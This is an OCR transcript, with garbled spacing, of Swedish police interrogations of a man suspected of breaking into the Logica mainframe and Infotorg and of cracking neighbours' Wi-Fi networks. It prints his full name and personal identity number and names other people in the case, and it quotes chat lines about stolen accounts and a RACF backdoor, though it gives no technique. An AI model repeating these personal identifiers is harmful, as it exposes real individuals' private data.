Bfhl: Men varför tror du att Kristoffer Smedlund anger dig i så fall? 

MG: Näe, det har j ag faktiskt ingen aning om, det �eker jag verkar konstigt. 
. . .  ohörbart . . .  fortsätta? 0 .56  

Bfhl:  N ej , det är väl �ärr så. 

Fhl : Om inte du har nåt mer . . .  ? 

Bfhl:  Neej . 

Fhl : Har advokaten nånting? 

Adv: Inga frågor. 

Bfhl:  Och du har ingenting du vill säga mer? 
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MG: Näe. 

Bfhl: Du vet ingenting mer eller vill inte säga nåt mer? 

MG: Nej , j ag vet inte . 

Fhl : Nej , då avslutar vi förhöret. Klockan är då l 0 .20.  

Stockholm som ovan 

Olle Wahlström 
Kriminalinspektör 
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Pol ismynd ighet 

Stock:holrns län 
Enhet 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
Hörd person 

Gustafsson, Bror Olof Mathias 

Förhör 
Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

1 976 1 1 1 7-7234 

Den hörde är  I D  Styrkt Stäl ln ing t i l l  misstänkt - målsägande - vittne 

Misstänkt Nej 
Tolk Språk 

Brottsmisstanke l Anledning t i l l  förhöret 

F ortsatt forhör i dataintrång 
Underrättad om misstanke Underrättad om rätt t i l l  försvarare (best i FUK 1 2§ iakttagna) 

Försvarare/ombud önskas Försvarare/ombud närvarande 

Biträdande jurist Sarnan Paknejad Ja 

Förhörsledare 

Bengt Rehnberg 
Förhörsplats 

strategiska sektionen, plan 5 
Förhörsvittne 

Involverad personal 

Joakim Persson 
Berättelse 

Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 1 2-06- 1 8  1 3 :20 1 3 : 55  
Typ a v  förhör Förhörssätt 

RB 23 :6  Ljudbandsförhör 
Utskrivet av 

KEA 

Funktion 

Annan 

Fhl: Du ska få . . . Vi ställer om dom här, tydliggörande misstankarna för dig.  

MG: Okej . 

Fhl : Och det är då liksom tre olika delar, kan man säga. 

MG: Okej . 

Fhl : Och tidsperioden för det här dataintrången, det ska vara från l januari 
20 1 0  till den 1 5  april 20 1 2 .  

MG: Okej . 

Fhl : Och om vi pratar då om ett intrång, det är alltså att du har, det du är 
misstänkt för så att säga, det är att du har hämtat ut data ur Logicas 
stordatamilj ö .  

MG: Okej . 

Fhl : Och sen är det inklusive ett intrång och ett manipulerande av 
behörighets-databasen i den här RacF . 
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MG: Okej . 

Fhl : Förstår du? 

MG: Neej ,  inte riktigt. 

Fhl : Jag vet inte om du kan förtydliga. 

JP: Ja, alltså, ska vi börja  med så här snarare, vi vet och vi har väldigt mycket 
material från din dator där vi har sett dels i logg-filer, dels i det material du 
har på datorn, att det finns spår från den här stordatoms logi ca. 

MG: Okej . 

JP :  Känner du till nånting om RacF? 

MG: Näe. 

JP : V et du vad RacF är? 

MG: Nej . 

Fhl : Ja, då förnekar du det, alltså just det intrånget? 

MG: Jaa. 

Fhl : Du förstår ingenting vad vi pratar om? 

MG: Näe, inte riktigt alls .  

Fhl : Inte riktigt? Förstår du nånting? 

MG: Näe, att det är ett intrång. 

Fhl : Mm . . .  

JP: Känner du till Logica? Vet du vad Logica är? 

MG: Näe. Inte hört talas om det heller. 

JP: Men, känner du till Infotorg då? Det vet du? 

MG: Ja. 

JP: V et du vilka som driftar Infotorg? 

MG: Näe. 

JP :  Ingen aning? 
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MG: Näe. 

JP: V et du vad en stordator är? 

MG: Ja. 

JP : Och vad är en stordator för nåt? 

MG: En som . . . . De e en sån dator som klarar ganska mycke. 

Fhl : Okej , vi tar dom hära . . . . 

MG: Mm . . .  , vi gör så. 

Fhl: Det där var den första, va, som du är misstänkt för, att du har varit inne i 
det här, Logicas stordatormilj ö . . .  

MG: Okej . 

Fhl : . . .  och så har du manipulerat den här RacF. Sen är det ett intrång med 
olovliga slagningar i Infotorg i deras användarsnitt eller gränssnitt genom att 
du har manipulerat och använt dom här användarkontona som är ditt till det 
här. 

MG: Okej . 

Fhl : Vad har du för inställning till det? 

MG: Nej ,  jag har vart inne på Infotorg. 

Fhl : Du har det? 

MG: Ja. 

Fhl : Och det vet du att man inte får? Du har gjort det på ett sätt som man . . .  , 
alltså ingen ska egentligen kunna gå in där. 

MG: Vad då . .  . ingen. 

Fhl : Inte du i alla fall. 

MG: Näe. 

Fhl : Nej . Så det, betyder det att du erkänner det då? 

MG: Ja, att jag varit inne på Infotorg, ja. 

JP :  Och använt användaruppgifter som du har kommit över, som inte varit 
dina så att säga. 
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MG: Jaa. Javisst. 

JP: Så det erkänner du? 

MG: Jaa. 

Fhl : Och sen är det då den tredje  misstanken, det är då att du har använt 
grannamas nätverk. 

MG: Ja, okej . 

Fhl : Och om man ska förtydliga det vad åklagaren har skrivit här, så att 
"olovligt med hjälp av signal förstärkningsutrustning . . .  " , det är dom här 
antennerna som dom hittade hemma hos dig då, " . . .  att du har berett tillgång 
till flera grannars trådlösa nätverk" . 

MG: Mm . . .  

Fhl : Och s å  har du knäckt nätverkets skydd. 

MG: Ja, precis. 

Fhl : Sen därefter så har du använt dig av dom här nätverkenas accesspunkter 
för att surfa på dom. 

MG: Ja. 

Fhl : Och sen har du vidare övervakat grannamas Internet-trafik. 

MG: Okej . 

Fhl : Ja, vad säger du om det då? 

MG: Ja, det har jag gjort. 

Fhl : Det har du gj ort? Allt det här som jag har läst upp . . . . 

MG: Näe, inte det sista ! 

Fhl : Du har inte övervakat grannamas Internet-trafik? 

MG: Näe. 

Fhl : Det har du inte gjort? 

MG: . . .  

Fhl : Men det andra stämmer? 
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MG: Jaa. 

Fhl : Okej . 

JP :  Har du gjort nåt annat med grannamas Internet-trafik? 

Fhl : Nej ,  ingenting jag kan komma på på rak arm. 

JP : Du har inte bytt DNS : er eller nåt sånt där liksom? 

MG: Näe. 

Fhl : Så om man repeterar dom här tre olika . . .  ohörbart . . .  26 . 1 9  så det här 
första intrånget i den här stordatormilj ön, Logica, den här behörigsdatabasen, 
RacF, där känner du inte till nånting dom? 

MG: Näe. 

Fhl : Den andra med Infotorg, där medger du att du har varit in och använt? 

MG: Jaa. 

Fhl : Och lika grannamas nätverk . . .  

MG: Ja. 

Fhl : . . .  har du också varit inne och knäckt deras koder o . s .v. och använt och 
surfat på deras nätverk. Hör du oss fortfarande bra där? 

Adv: Jamän! 

Fhl : Vad bra ! Alltså, du har ju ett lP-nummer. . .  

MG: Mm . . .  

Fhl : Och det vi har sett, det är att det här lP-numret, det har använts i den här 
stordatamilj ön . . .  

MG: Okej . 

Fhl : . . .  och i Infotorg. Det har vi fått fram genom abonnentuppgifter från 
Intemetleverantören. 

MG: Okej . 

JP :  Dessutom är det så att vi vet att du har använt grannamas nätverk, för vi 
har nämligen hittat grannamas lP-adresser också i stordatormilj ön. 

MG: Okej . Ja, jag har ingen bra förklaring varför det finns där. 
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Fhl : Nej ,  men är det inte så att du har använt deras, gått via deras . . .  ja, hur, det 
rar du förklara ! 

MG: Men jag har inte vart inne i stordatorn! Jag har vart inne på webben bara. 

JP :  Du har vart inne på webben bara, genom grannarnas nätverk också? 

MG: Jaa. 

Fhl : Och sen ska vi prata lite om en chatt. Vi har pratat, förutom att du har 
använt dig av namnet "Dirox" . . .  

MG: Jaa, jag kommer inte ihåg, men jag kan ha använt det. 

Fhl : Kommer du ihåg det om du har gjort det? 

MG: Näe. 

Fhl : Hur kan du . . .  ? 

MG: Vet de e olika. 

Fhl : Jaa, men har han nämnt Dirox? 

MG: Jag vet inte, kanske. 

JP: Men, alltså Kristoffer Smedlund, känner du igen honom? 

MG: Mm . . .  , j ag känner han. Namnet, j a. 

Fhl : Han har också suttit häktad i det här ärendet och han har ju då uppgett att 
han har chattat med dig och där du använder dig av namnet Dirox. Har han 
fel, tror du eller kan? 

MG: Jag vet inte . 

Fhl : Nej ,  men vad tror du? 

MG: Nej ,  jag vet inte alls. 

JP: Sen är det ju så att i dina datorer sen, så har vi ju hittat förekomster av 
användarnamnet Dirox på ett flertal ställen. 

MG: Jo, men jag har sagt att jag kanske har haft det. 

JP: Du kanske har använt det? 

MG: Mm . . .  Men har ni hittat det där så kanske j ag har gj ort det då. 

JP: Kanske. 

675 



Förhör  med Gustafsson ,  Bror Olof Math ias;  201 2-06- 1 8 1 3 :20 d iarienr: 020 1 -K8 1 864- 1 2 

Fhl : Det här namnet "Dirox",  då finns det loggar också som nämner att du har 
loggat in på grannarna. 

MG: Ja, okej . 

Fhl : När du har använt dig av namnet "Dirox",  när du har chattat med 
Smedlund så har du berättat att du . . .  , har beskrivit, dom här nätverkskort och 
antenner och det som du har använt dig av. 

MG: Okej . 

Fhl : Så kommer du inte ihåg nu att du kan ha använt dig av namnet "Dirox"? 

MG: Jag kanske har gjort det. 

Fhl : Ja. Du har väl ett visst minne av det 

MG: Näe, men jag kanske har gj ort det eftersom ni har hittade det. 

Fhl : Har du nåt minne av att du har hållt på och chattat med den här Smedlund 
då om det här? 

MG: Näe, jag vet inte . . .  faktiskt. 

Fhl : Nehej . . .  

JP : Men . . .  Men, du har chattat med Smedlund? 

MG: Nån gång har jag gjort det. 

JP: Nån gång? 

MG: . . .  

Fhl : Men du vet inte om det är just om det här, att du har beskrivit hur du har 
gj ort? 

MG: Näe. 

JP : Har du beskrivit för nån annan då? 

MG: Vad då för nåt? 

JP: Nämen, har du . . . . 

MG: Då är det med . . . . 

JP :  Har du i chatt, chattrum till exempel eller på IRC, har du berättat för andra 
i den kanalen hur du brukar ansluta till grannamas nätverk på forumet? 
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MG: Näe, jag vet inte, kanske. 

Fhl : Alltså, vi har ju uppgifter då i dom här chartama som säger att "Dirox" 
har - menar då är du . . .  

MG: Okej . 

Fhl : Att han beskrivit att du har deltagit i dom här tre olika, som j ag har 
nämnt för dig i början här, dom här misstankarna. 

MG: Ja, okej . Men jag har erkänt två har jag.  

Fhl : Ja, men i själva chartama så har du erkänt. 

MG: Ja, om j ag hade gjort det, då hade jag väl erkänt den också. 

Fhl : Ja, jag vet inte varför du inte gör det nu, men i dom här chattama så har 
du berättat om det, att du har varit delaktig i det här. 

MG: Ja, okej . Ja, jag minns inte det. 

Fhl : Det minns du inte? Neej . . . . Och att du hade haft olovlig tillgång till ett 
stort antal Infotorg-konton. Det har du också sagt i dom här chattama. Är det 
nånting som du . . . . Har du haft det? 

MG: Jag har väl fått några hundra. 

Fhl : Några hundra sådana här .  . .  ? 

JP : Och var har du fått dom ifrån? 

MG: Ehh . . .  Jag vill inte säga vem det är ifrån. 

JP : Nehej , varför inte det? 

Fhl : Hur har du fått dom då? 

MG: Jag fick dom på IRC. 

Fhl : IRC? 

JP: Men du vill inte tala om från vem som har gett dom? 

MG: Näe. 

Fhl : Men du vet vem det är du har fått dom av? 

MG: Jaa. 
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Fhl : Jaa, men det har j ag full förståelse för att du inte vill det. Men sen har du 
använt dom där då. 

MG: Jaa. 

Fhl : Har du delat med dig dom också? 

MG: Näe. 

Fhl : Har du diskuterat på såna här chattar hur du ska gå tillväga eller hur ni 
har gått tillväga med intrånget i den där stordatamiljön? 

MG: Näe. 

Fhl : Det känner du inte igen? 

MG: Näe. 

Fhl : Att du har laddat ner data i samband med intrånget då? 

MG: Näe, jag har laddat ner lite webbfiler bara. 

JP :  Okej . Från vad då? 

MG: Dom här sökningarna jag har gjort på Infotorg. 

JP : Vilka sökningar då till exempel? 

MG: Näe, men mina bekanta bara. 

Fhl : Du menar att du har slagit på nån persons personnummer? 

MG: Ja, precis .  

JP : Är det på organisationer också till exempel? 

MG: Jaa, kanske. Jag vet inte . 

JP: Kan det ha vart Hells Angels? 

MG: Kanske . 

Fhl : Kan du beskriva hur du gj orde då när du kom åt dom här uppgifterna? 

MG: Nä, men jag bara loggade bara in i via w ebben, sen sökte jag.  

Fhl : Är det så enkelt? 

MG: Ja. 
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Fhl : Du har använt ettt användamamn och ett lösenord? 

MG: Jaa, som jag har fått av . . .  på ett annat sätt. 

Fhl : Och det har du fått av . . .  på . . .  via . . .  

JP : IRC. 

Fhl : . .  . IRC? 

MG: Precis .  

JP :  Och du vill inte berätta vem det är som har gett dig tillgång? 

MG: Nej .  

Fhl : Men att du har erbjudit andra inloggningsuppgifter, stämmer det då? 

MG: Näe, inte vad jag kommer ihåg. 

Fhl : Det finns det inom dom här chattama. 

MG: Okej . 

Fhl : Att du har gjort. 

MG: För jag minns inte . Jag vet inte . 

Fhl : Har du avlyssnat grannamas lP-telefoni då? 

MG: Nja . . .  Det kommer jag inte ihåg. 

Fhl : Jo, det måste du väl komma ihåg ! 

MG: Neej . 

Fhl : Men, är det inte bara det att du inte vill säga nånting om det? 

MG: Neej .  

Fhl : Jag tror j u  att . . . . Alltså, nu har du j u  . . . .  Du har j u  redan medgivit att du 
har gj ort . . .  , du är skyldig till det här dataintrången och kanske inte riktigt i 
den omfattning som vi påstår då, men du nekar till vissa saker och medger 
VlSSa. 

MG: Mm . . .  

Fhl : Vad beror det p å  att . . .  ? 

MG: Aa, att j ag inte gj ort vissa saker. 
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Fhl: Nej , du säger att du inte har gj ort det, men vi har ju . . .  , vi har ju uppgifter 
som säger nåt annat. 

MG: Ja, det tycker jag är konstigt. 

Fhl : Du tror inte på oss riktigt. 

MG: Nej .  

Fhl : Du tror att vi bluffar dig? 

MG: Ja. 

Fhl : Ja, men du har i alla fall berättat lite mer nu, eller hur? 

MG: Mm . . .  

Fhl : Det är ungefår vad vi har sagt förut också. Jag vet inte, har du några mer 
frågor? 

JP: . . .  

Fhl : Och du har förstått att vi har bevis i . . .  som vi har hittat i dina datorer för 
det här. 

MG: Ja. 

Fhl : Det finns alltså mer än vad vi har berättat för dig. 

MG: Mm . . .  , okej . 

Fhl : Och loggar från CSN. 

JP: Och du har förstått att vi har fått del av chatt . . .  chattkonversationer där du 
chartar på hack. se? 

MG: Okej . 

Fhl : Har du förstått det nu? 

MG: Mm . . .  

Fhl : S å  att vi har . . .  vad ni säger till varann. 

MG: Ja, okej . 

JP: Vi misstänker eller vi tror starkt att du inte är ensam om det här, vi tror att 
det finns många fler som är inblandade. Problemet är att vi kan inte styrka att 
det är nån annan. 
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MG: Okej . 

JP : Utan vi har bara det vi har hos dig så att säga. 

MG: Okej . 

Fhl : Ja, jag vet inte jag. 

JP : Nej , jag vet inte heller riktigt. 

Fhl : Ska vi fråga nåt mer? Nu har du ju gått igenom det åklagaren vill ha svar 
på. 

JP : Kan du berätta t. ex. hur du har gått tillväga när du har knäckt grannens 
nätverk? 

MG: Hur? 

JP : Mm . . .  

MG: Du undrar om program bara? 

JP : Mm . . .  Vad har du för program? 

MG: Reper. (?) 

JP : Reper. Har du . . . . Hur många nätverk brukar du knäcka? Hur många har 
du knäckt? 

MG: Jag vet inte, 50 kanske. 

JP : 50 .  Det är inte 1 00? 

MG: Neej .  

JP : Okej . Vad brukar du göra med den här Internet-uppkopplingen? 

MG: Nej , en del har jag inte använt alls utan j ag har bara testat hur man gör. 

JP : Bara testa hur man gör? 

MG: Ja. 

Fhl : Hur många har du använt då, tror du? 

MG: Ja, en tio kanske . 

Fhl : Tio? Vet du någons . . .  nåt namn som du kommer ihåg? 
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MG: Inte som jag kommer ihåg på rak arm, utan jag har bara tagit loggen. 

JP : Köpte du nya antenner för att komma längre bort? 

MG: Ja. 

JP: Varför det? 

MG: Ja, ja  . . .  

JP: Nej , men varför ville du komma längre bort så att säga? 

MG: Näe, så att jag kunde komma åt massor med nätverk. 

JP: Så det var lite sport liksom, lite . . .  , hitta nya nätverk och knäcka? 

MG: Precis .  

JP: Det var liksom inte för och göra det svårare för oss att spåra dig om det 
skulle behövas? 

MG: Neej ,  då hade jag väl aldrig varit uppkopplad hemma! 

JP :  Men du har ju varit uppkopplad hemma! 

MG: Ja, men jag skulle ha gjort det svårare? 

Fhl : Sen, varför använde du dom andra grannamas nätverk när du loggade in 
på Infotorget också? 

MG: Näe, jag har faktiskt ingen aning varför jag gj orde nåt sånt. 

Fhl : Näe . . .  

JP : Då kunde du lika gärna använt ditt eget nätverk. 

MG: Precis .  

Fhl : Men du vet att det är förbjudet och göra det, det är ju enligt lagen? 

MG: Precis. 

JP: Som sagt, vi har ju dom här chartama från hack. se. 

MG: Mm . . .  

JP :  Vet du om att det har diskuterats om de här hacken där? 

MG: Neej , jag vet inte, jag har ju sett det här . . .  ohörbart . . . 14 . 1 4  
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JP : Ja, men innan du var här? 

MG: Näe, det tror jag inte. 

JP :  Så det pratades ingenting om att man skulle hacka Logica eller Infotorg 
innan du hamnade i häktet? 

MG: Näe, jag vet inte. Jag vet inte, tror inte det. 

Adv. Saman Paknejad: Hallå? 

Fhl : Ja ! Hörs det inte? 

Adv: Jo ! 

Fhl : Bra ! Ja, vi var tysta ett tag, ser du. Måste tänka lite ibland. 

Adv: Jag förstår ! 

JP: Precis . . .  precis . 

JP :  Men du har alltså fått dom här användarkontona från en person som du 
inte vill uppge vem det är. 

MG: Precis .  

JP : Är det rätt så? 

MG: . . .  

JP :  Och varför vill du inte ge oss det namnet för? 

MG: Näe, jag vet inte . Det är bara att j ag inte vill det. 

Fhl : Är det nånting som bara du har fått ta del av eller är det liksom . . .  ? 

MG: Men det vet j ag inte faktiskt. 

Fhl : Nej ,  men hur ligger det framme så att säga? Hur . . .  ? Nej ,  jag fattar inte 
hur det . . .  ohörbart . . .  

JP :  Har det . . .  ? Har det legat i chatten? 

MG: Näe . . .  

JP :  För jag antar att du får ta del av det via chatten eller har du besökt en 
webbsida, en hemsida, eller url eller var har du fått tag på dom? 

MG: Det vill j ag inte säga. 
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Fhl : Du vill inte säga var? 

MG: Nej . 

Fhl : Avslöjar du vem det är då, menar du eller . . .  ? 

MG: Precis. 

JP : Men, varför säger Kristoffer Smedlund säger ju att du är Dirox och att 
Dirox har varit inblandad i det här. Varför säger han det i så fall? 

MG: Jag vet inte . Men, jag vet inte var . . . inblandad i . . . . Vad då, menar du? 
Eeh . . .  Vart inloggad i en webbsida. 

JP: Så det är det han menar då, alltså? 

MG: Nej ,  jag vet inte . 

JP: Kristoffer Smedlund satt ju häktad förra veckan. 

MG: Okej . 

JP: Men han släpptes i slutet av förra veckan också efter det att vi haft förhör 
med honom. 

MG: Okej . 

Fhl: Nej , jag vet inte . . . . 

JP : Nej ,  jag vet inte riktigt hur vi ska gå vidare heller. 

Fhl : Nej , men . . .  

JP : Men som sagt, du erkänner i alla fall två av tre punkter? 

MG: Ja. 

JP : Och du vet att det är någon som har begått första . . .  , alltså dataintrånget 
punkten l ?  

MG: Ja. 

JP :  Men du vill inte berätta vem det är. 

MG: Precis. 

JP: Men det är alltså . . . . Du vet att det är nån som har begått dataintrång mot 
stordatormiljön för Logica? 

MG: Ja, det har ju ni sagt, va. 

684 



Förhör med Gustafsson ,  Bror Olof Math ias;  20 1 2-06- 1 8 1 3 :20 d iarienr:  020 1 -K8 1 864-1 2 

JP: Det har vi sagt. Men, du har inte hört nånting om det tidigare? 

MG: . . .  ohörbart . . .  på Logica. 

JP: N ej , men på Infotorg då. 

MG: Ja. 

JP: Okej . Infotorg och Logica, det är som samma saker det här. 

MG: Okej . 

JP: I det här sammanhanget. Men, då vet du alltså att det finns en person som 
har gjort dataintrång mot Infotorg, det är alltså enligt punkten l här, deras 
stordatormiljö  men du vill inte säga vem det är? 

MG: Mm . . .  , precis .  

Fhl : Så det är samma person som har gj ort intrånget som har delat med sig av 
dom här användarkontona? 

MG: Jag tror det. 

JP: Vet du om det är bara en person som har varit inblandad eller om det är 
flera? 

MG: Nej ,  det vet jag inte . 

JP: Du vet inte. Har du varit liksom lite hangaround, du kanske inte fått vara 
med i gänget och inte riktigt . . .  ? 

MG: Jaa, j ag tror det. 

JP :  Är det så? 

MG: . . .  

Fhl : Varför fick du dom hära . . .  ? 

MG: Jag vet inte. Jag vet inte alls hur jag kom in på det. 

Fhl : Nej ,  okej . Vet du om han har delat med sig till flera? 

MG: Ingen aning. 

Fhl : Det var ingen bytesaffär, att han fick nåt annat av dig istället? 

MG: Neej .  
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JP :  Men, det är alltså . . . . Är det ett gäng som har gjort det här eller är det bara 
en person eller . . .  ? 

MG: Jag vet inte faktiskt. 

JP: Du vet inte? 

MG: Neej .  

Fhl : Okej . Ja, jag kan inte ha nåt mera intressanta frågor. 

JP: Neej . . .  Alltså, så länge du inte vill berätta så är det ju . . .  , då blir det ju 
problem liksom. Vi kan inte . . .  För vi vet en massa grejer som vi inte . . . .  
varken kan eller vill berätta liksom, och vill inte du berätta då kommer vi så 
att säga ingen vart med det här. Finns det nånting du kan berätta, nånting 
du . . .  , som du känner att det här är . . .  , det här är liksom så pass viktigt för oss 
att du . . .  , det här kan jag berätta utan att avslöja  för mycket? 

MG: Näe, jag vet inte, jag kommer inte på nånting. 

JP: Det är ju tråkigt när du inte . . .  , att du inte kan eller vill berätta. Det är ju 
så. Det vore ju bättre för dig själv så att säga och . . . . 

MG: Att jag . . .  ohörbart . . .  08 .22 

JP: Men varför det så att säga? 

MG: Nej , men då får jag väl problem sen. 

JP : Jaha. Du är rädd för att dom ska göra repressalier? 

MG: Precis .  

JP: Okej . Men hur tror du det kommer att se ut sen då när du . . .  , när du släpps 
och det här kommer gå till domstol och vi kommer lägga fram all bevisning? 
Då kommer du ju ändå börj a  fundera på vad du har sagt eller varför du var så 
slarvig och lämna chatt . . .  

MG: På grund av den här chatten? 

JP: Nej ,  men varför . . . . Vi har ju hittat chatt som du har skrivit. 

MG: Okej . 

JP: Du tror inte att dom här personerna som du är rädd för, du tror inte dom 
kommer börja  fundera ändå? 

Adv: Det där är inte en lämplig fråga och ställa ! 

JP: Vill du ställa en fråga eller vad säger du? 
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Adv: Nej , men jag tycker inte det är lämpligt att du formulerar din 
frågeställning på det sättet och sätter honom i ett hörn och att han kommer 
ändå att riskera repressalier. Det står fast . . .  ohörbart . . .  för domstolen att man 
kan inte tvinga fram av en person och säga någonting på grund av att dom är 
rädda för repressalier. Och din frågeställning på det sättet så är det att du har 
ingen . . .  ohörbart . . .  så kommer den här personen att få reda på om du har sagt 
någonting eller inte och det tycker jag inte är en lämplig frågeställning. 

Fhl : Ja, det är noterat ! Men, vi kan ställa den frågan ändå, tycker jag. Har du 
nån kommentar till den då? 

MG: Näe . . .  

JP : Och så var det några andra grejer jag tänkte eventuellt. Ska se här . . . .  Jo ! 
Jag tänkte på det här med presentkortet alltså. 

MG: Ja? 

JP: F ör du har sagt att du har gj ort ett fåtal presentkort. 

MG: Nej , jag har bara kopierat såna som vi har haft. 

JP: Bara kopierat såna som du haft. För jag läste en rätt intressant notering i 
chatten där du skriver att du gj orde ett program som genererar 
presentkorts-nummer. 

MG: Ja, okej . Det känner jag inte till. 

JP : Du känner inte till vem som har skrivit det? 

MG: Nej . 

JP : Du känner inte till att du har gj ort ett sånt program? 

MG: Nej ,  precis !  Det borde jag ju komma ihåg. 

JP: Det borde du komma ihåg? 

MG: Mm . . .  

JP: Jag ska s e  om jag kan hitta den chatten. 

Fhl : Tar det tid? 

JP: Nej ,  det vet jag inte riktigt, vi ska se . . .  (letar i handlingarna) . Vilka 
personer är det som du har slagit på t .ex. ? 

MG: Jag vet inte, kommer inte ihåg riktigt. 
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JP : Du kommer inte ihåg riktigt? 

MG: . . .  

Fhl : Vi kanske ska läsa upp dom så får se om han kommer ihåg det då. 

JP: Mm . . .  Du skriver t. ex. här att . . . . Du skriver att " Nu kommer dom aldrig 
bli av med oss i alla fall ". ''Å·r lnfotorg och lnfodata nereför dig med? ", 
skriver du. Ska se mer för nånting . . .  Här ! Nån som skickar ett 
användarlösenord, " Om du vill tanka, det är ett högpriviligerat konto ". 
"Nice " svarar du på FTP:n då. " Ska logga in på en granne! ". "Hmm Fan va 
bra du e. Kommer inte in på FTP:n med det kontot ". " Ja, jag brukar köra på 
FTP.lnfodata.se ". "Kollar i databasen nu ", skriver du. Det är inget som du 
känner igen att du har gj ort? 

Fhl : Det här är sånt där som . . .  ohörbart . . .  ? 

MG: . . .  ohörbart . . .  att j ag har gjort det, det borde j ag komma ihåg. 

JP : " Måste eraeka RacF databasen ". "Mm . . .  Det är ett måste ", säger du. " 
Vill komma åt polisens multifråga person med". "Ar lite bäng, snortade åt 

}yrkens ". 

Fhl : Känner du inte igen det heller? 

MG: Nej . 

JP : " Måste slänga upp en ordentlig RacF bakdörr. Det låter som en ypperlig 
grej ", säger du. 

Fhl : Du tror inte att vi hittar på bara det här? 

MG: Näe, jag vet inte. 

Fhl : Vad? Hur tänker du då? 

MG: Ja, att det inte är . . . .  

Fhl : Vad är det för nånting? 

MG: Ja, att det är nån annan. 

Fhl : Att det är en annan än du? 

MG: Ja. 

JP: Du skriver här: " Vad pysslar du med då? Vill du ha loggin på lnfotorg? ". 
" Mm. . .  Vart lite off på dat an dom senaste dagarna. Vart lite mer knarkande 
istället ". 
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MG: Okej . 

JP :  "Jeps " eller nån som säger då att " Vill du ha ett par Infotorgkonton 
sisådär 70 000 stycken ? ". " Ja, ge mig, jag har bara 200 ". "Har du några 
polis-konton? ", frågar du. " Skulle vilja se hur dom såg ut. Laddar du upp 
dom nånstans? "  och så personen ifråga skickar då en länk. Det är ingenting 
du känner igen? 

MG: Neej . . .  

JP :  Det finns ju hur mycket här som helst så att säga, men känner du igen den 
här filen med skyddade personidentiteter? 

MG: Nej , men jag har hört talas om det. 

JP : Du har hört talas om den? Den som läckte 20 1 0  eller 20 1 2? 

MG: Jag vet inte . 

JP :  Nej . Du skriver här: " Har dock en filfaktiskt med alla skyddade 
identiteter, alla personnummer men inga namn kopplade ", och så skickar du 
ett filnamn. 

MG: Okej . 

JP :  Och sen är det nån som skriver att " Ja, den skrivs ut på . . .  ''pacebin " 
också ". " Mm . . .  Precis ", och så skriver du att " Inte lite som ligger på samma 
ställe ". Du skriver bl.a. : " Jag kan t. ex. ändra ägare på en bil via Infotorg. 
Kanfippla med besiktningen ". Är det nånting du känner till? 

MG: Nej . 

JP : Du har inte skrivit det? 

MG: Nej . 

JP :  Över huvud taget? 

MG: Nej , precis. 

JP: Men vem är det som har skrivit det då? 

MG: Jag vet inte . 

JP :  Men, du förstår att det här kommer ju vi använda sen. 

MG: Ja . . .  

JP :  Ä ven fast du nekar till punkten l där. 
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Fhl : Nej , vi kommer nog inte så mycket längre, tror jag.  

MG: Ja . . .  

Fhl : Vad säger du Saman , har du nåt att tillägga eller . . .  ? 

Adv: Neej ,  det har jag inte . 

Fhl : Nej . Har du nån fråga då till oss? 

MG: Neej ,  det har j ag väl inte. 

Fhl : Nej . . .  

Adv: Har du nån fråga till mig, Mattias? 

MG: Näe, jag tror inte . 

Adv: Jag kommer be Björn att kontakta dig så fort han kommer från 
rättegången. 

MG: Okej . 

Adv: Så det kommer. 

Fhl : Ska vi . . .  

JP: Ja, vi avslutar. 

Fhl : Vi avbryter, klockan är nu 1 3 .5 5 .  

Adv: Ja. 

Fhl : Då säger vi hej då till dig Saman. 

Adv: Hej hej ! 

Fhl : Hej då ! 

Stockholm som ovan 

Bengt Rehnberg 
Kriminalinspektör 
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Tjänsteanteckn ing  
Signerad av 

Förhöret i Ludvika den 6 november 20 1 2  Signerad datum 

Polismynd ighet 

Stockholms län 
Enhet 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
Uppgiftslämnare 

Malm, Ulf 
Beslag verkställt Material för analys 

Nej Nej 

Mottaget 

Sätt på vi lket uppgift lämnats 

U pprättad av 

Ulf Malm 

I nvolverade personer 

Gustafsson, Mathias 
Uppgiften avser 

kompl.förhör med Gustafsson 
Uppgift 

Personnummer/Orgnr 

Kompletterande förhör krävs enl . åkl.beslut med G senast 81 1 1 .  

Diarienr 

020 1 -K8 1 864- 1 2  
Datum Tid 

20 1 2- 1 1 -02 09 : 3 8  

Mottaget datum Tid 

Roll 

Berörd person 

Vid tfn-kontakt med G uppgav han att han kunde förhöras på polisstationen i Ludvika 
tisdagen den 6 november kl 1 7  och senare ! Han uppgav också att han inte behövde närvaro av 
sin advokat (Björn Hurtig) vid detta förhör. 

Vid tfn-kontakt med Björn Hurtig 2/ 1 1 kl 09 visade det sig att han befann sig i Argentina. 
Information lämnades och man lovade återkomma till undertecknad under dagen med besked 
om man tänkte närvara vid förhöret. 
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Polismyndighet 

Stockholms län 
Enhet 

Förhör 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
Hörd person 

Gustafsson, Bror Olof Mathias 

Den hörde är 

Misstänkt 
Tolk 

I D Styrkt 

Ja 

Brottsmisstanke l Anledning t i l l  förhöret 

Komplettering 

Sätt 

känd av Ulf Malm 

Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

1 976 1 1 1 7-7234 

Stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Underrättad om misstanke Underrättad om rätt t i l l  försvarare (best i FUK 1 2§ iakttagna) 

Ja Ja 
Försvarare/ombud önskas Försvarare/ombud närvarande 

Björn Hurtig 

Förhörsledare 

Ulf Malm 
Förhörsplats 

Ludvika polisstation 
Förhörsvittne 

Berättelse 

Vid förhöret närvarar även insp Bengt Rehnberg_ 

Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 1 2- 1 1 -06 1 7 :00 1 7 :30  
Typ a v  förhör Förhörssätt 

RB 23 :6  
Utskrivet av 

Mathias tillfrågas åter om han vill ha sin försvarare närvarande under förhöret. Han uppger att 
han inte tycker det är nödvändigt utan är villig att låta sig förhöras utan närvaro av 
försvararen_ 

Mathias tillfrågas om vilket/vilka alias han brukade använda i samband med 
chatkonversationer via IRC? 
Han uppger att han har ADHD och har svårt med minnet ibland. Mathias minns att han 
brukade använda många olika namn bl.a. "diROX" och "Matte76" .  

Mathias tillfrågas o m  han vet vem Gottfrid Svartholm W arg är? 
Mathias uppger att han känner/vet vem Gottfrid Svartholm W arg är. Han uppger att de båda 
har träffats personligen för en tid sedan. Han minns inte hur länge sen det var. 
